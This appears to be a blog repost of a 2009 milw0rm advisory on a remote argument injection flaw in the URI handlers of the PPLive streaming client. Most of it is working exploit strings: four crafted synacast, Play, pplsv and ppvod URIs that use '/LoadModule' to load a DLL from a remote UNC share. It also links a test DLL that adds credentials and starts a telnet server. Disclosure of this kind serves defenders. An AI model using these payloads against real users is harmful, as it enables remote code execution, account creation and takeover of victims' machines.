鬼仔's Blog

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PPLive <= 1.9.21 uri handlers “/LoadModule” remote argument injection
by Nine:Situations:Group::strawdog
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software site:http://www.pplive.com/en/index.html
our site: http://retrogod.altervista.org/

software description:
“PPLive is a peer-to-peer streaming video network created in Huazhong University of Science and Technology, People’s Republic of China. It is part of a new generation of P2P applications, that combine P2P and Internet TV, called P2PTV.”

vulnerability:
The “synacast://”, “Play://” ,”pplsv://” and “ppvod://” URI handlers do not verify certain parts of the URI before evaluating command line parameters.
This can be exploited against Internet Explorer to e.g. load a dll from a remote UNC path via the “/LoadModule” parameter, example exploit (IE7):

synacast://www.microsoft.com/?”%20/LoadModule%20\1.2.3.4\unc_share\sh.dll%20″
Play://www.microsoft.com/?”%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20″

against older versions:
pplsv://www.microsoft.com/?”%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20″
ppvod://www.microsoft.com/?”%20/LoadModule%20\\1.2.3.4\unc_share\sh.dll%20″

test dll which adds new credentials / spawns the telnet server:
http://retrogod.altervista.org/9sg_pplive_sh.html

some interesting readings:
http://msdn.microsoft.com/en-us/library/aa767914(VS.85).aspx

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# milw0rm.com [2009-03-16]